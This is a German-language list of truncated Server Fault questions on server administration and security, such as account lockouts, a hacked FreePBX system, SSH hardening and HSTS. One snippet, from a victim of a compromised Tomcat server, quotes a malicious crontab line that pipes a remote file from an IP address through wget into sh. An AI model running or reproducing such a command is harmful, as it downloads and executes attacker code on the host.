Im Moment verwende ich Linux VServer für VPS-Hosting. Es fehlen jedoch einige Funktionen, die ich benötige (z. B. Virtualisierung der CPU-Nutzung, Kontingentunterstützung für Gäste usw.). Daher denke ich darüber nach, zu OpenVZ oder direkt zu LXC zu wechseln. Ich habe irgendwo gelesen, dass LXC...
Wir sind ein kleines Unternehmen mit einer 2008R2-Domain, auf der wir einen Dateiserver mit mehreren gemeinsam genutzten Volumes haben. Wir haben eine Reihe von IT-Mitarbeitern in der Rolle des Domänenadministrators, da wir alle rund um die Uhr erreichbar sind. In letzter Zeit ist es jedoch zu...
Auf einigen meiner Produktionssysteme, auf die außerhalb des LAN zugegriffen werden muss, füge ich manchmal eine Firewall-Einschränkung am Rand hinzu, um nur Datenverkehr auf beispielsweise RDP von einer bestimmten Ursprungs-IP-Adresse oder einem bestimmten Block zuzulassen. Natürlich muss die IP...
Ich habe ein Benutzerkonto, das immer wieder gesperrt wird. Ich versuche herauszufinden, was es verursacht hat. Daher möchte ich zunächst Fehlerprüfungen in der Ereignisanzeige aktivieren. Aber ich weiß nicht wie! Wie aktiviere ich Überwachungsfehler so, dass sie in der Ereignisanzeige des...
Ein kleiner Hintergrund: Wir haben gerade unser PBX-System gehackt. Der Server selbst scheint sicher zu sein (kein protokollierter nicht autorisierter Konsolenzugriff - SSH usw.), aber irgendwie haben die Hacker es geschafft, einen neuen Administrator in die PBX-Software (FreePBX, unterstützt von...
Einer unserer halb ausgelasteten Mailserver (sendmail) hatte in den letzten Tagen viele eingehende Verbindungen von Hosts, die Garbage-Befehle ausgeben. In den letzten zwei Tagen: eingehende SMTP-Verbindungen mit ungültigen Befehlen von 39.000 eindeutigen IPs Die IPs kommen aus verschiedenen...
Ich habe erwähnt, dass / dev / shm und / proc gesichert wurden, und ich habe mich gefragt, wie Sie das machen und woraus es besteht? Ich gehe davon aus, dass dies die Bearbeitung von /etc/sysctl.conf beinhaltet. Wie diese? kernel.exec-shield = 1 kernel.randomize_va_space = 1
Wie kann ich die Wiederholungsantwort von SSH verzögern, wenn ein falsches Kennwort versucht wird oder der Anmeldeversuch fehlschlägt? Ich wollte, dass die Verzögerung 2-3 Sekunden länger als gewöhnlich ist. Ich konnte keine Option in der Datei sshd_config finden, um dasselbe zu erreichen. Kann...
Stellen Sie sich ein Webhosting-Unternehmen vor, mit dem Benutzer Dateien und Git-Repositorys über ssh verwalten können. Das beinhaltet: sichere Kopie (scp) Erstellen, Kopieren, Verschieben / Umbenennen und Löschen von Dateien Ausführen einer engen Teilmenge von Befehlen zur Quellcodeverwaltung...
Welche Optionen habe ich, um HSTS sowohl für neue Websites als auch für im Browser eingebrannte Websites zu deaktivieren? Die Verwendung der HTTPS-Inspektion ändert von Natur aus den Fingerabdruck einer Site, indem sie als Mann in der Mitte fungiert. Der Besuch einer zuvor besuchten Site ohne...
Wir haben bereits ein Wildcard-Zertifikat für *.mycompany.com. Unser Netzwerk verfügt über Hosts, die nur intern erreichbar sind. Alle von ihnen gehören zur internal.mycompany.comSubdomain. Es gibt einen privaten Server mit dem Hostnamen, server.internal.mycompany.comauf dem ich unser...
Mein kostenloses AWS-Konto ist abgelaufen. Ich habe alle S3- und EC2-Ressourcen gelöscht, bin aber auf der Suche, ob ich die verlassen kann Key Pairsund Security Groupsohne dafür bezahlen zu müssen. (Meine Kontoressourcen sehen jetzt so aus: Ressourcen ) In der Dokumentation von Amazon scheint...
Ich habe einen dedizierten Debian-Server. Ich versuche es zu sichern und eine Möglichkeit, die ich für gut hielt, besteht darin, Dienste herunterzufahren, die ich nicht benötige, wie zum Beispiel FTP. Ich schlage vor, bei der Bereitstellung Folgendes auszuführen: service ntp stop update-rc.d -f ntp...
Hintergrund : Die Remote-Protokollaggregation wird als ein Weg zur Verbesserung der Sicherheit angesehen. Im Allgemeinen wird damit das Risiko behoben, dass ein Angreifer, der ein System kompromittiert, Protokolle bearbeiten oder löschen kann, um die forensische Analyse zu vereiteln. Ich habe...
Diese Frage bezieht sich auf den Twitter-Thread von @ SwiftOnSecurity: https://twitter.com/SwiftOnSecurity/status/655208224572882944 Nachdem ich den Thread gelesen habe, verstehe ich immer noch nicht genau, warum Sie die Netzwerkanmeldung für lokale Konten deaktivieren möchten. Also hier ist was...
Ein frischer Metasploit auf Kalilinux 2016 (letzter Stall) systemctl start postgresql OK Auf msfconsole msf > db_status [*] postgresql connected to msf Wenn ich die Suche starte msf > search samba [!] Module database cache not built yet, using slow search Also baue ich den Cache neu auf ......
Ich habe gerade MariaDbauf einem neuen Ubuntu Gnome installiert und anschließend mysql_secure_installation ausgeführt, wo ich ein anständiges Administratorkennwort festgelegt, den anonymen Benutzer entfernt usw. habe. Danach bemerkte ich ein seltsames Verhalten bezüglich des Administratorkennworts:...
Geschlossen. Diese Frage ist nicht zum Thema . Derzeit werden keine Antworten akzeptiert. Möchten Sie diese Frage verbessern? Aktualisieren Sie die Frage so dass es beim Thema für Server Fehler. Geschlossen vor 3 Jahren . Was ist der einfachste Weg, um eine Benachrichtigung zu erhalten, wenn...
Während eines Projektkriegs auf dem Apache Tomcat-Server stellte ich fest, dass der Server kompromittiert wurde. Während des Krieges läuft ein Unbekannter cronso [root@App2 tmp]# crontab -l -u tomcat */11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh */12 * * * * curl...
Ich habe einen Sendmail-Server. In regelmäßigen Abständen (dh mehrmals pro Stunde) erhalte ich folgende Protokolleinträge: Sep 3 10:06:49 lory sendmail[30561]: v8396nsQ030561: [37.49.226.159] did not issue MAIL/EXPN/VRFY/ETRN during connection to MTA-v6 Sep 3 10:06:49 lory sendmail[30564]:...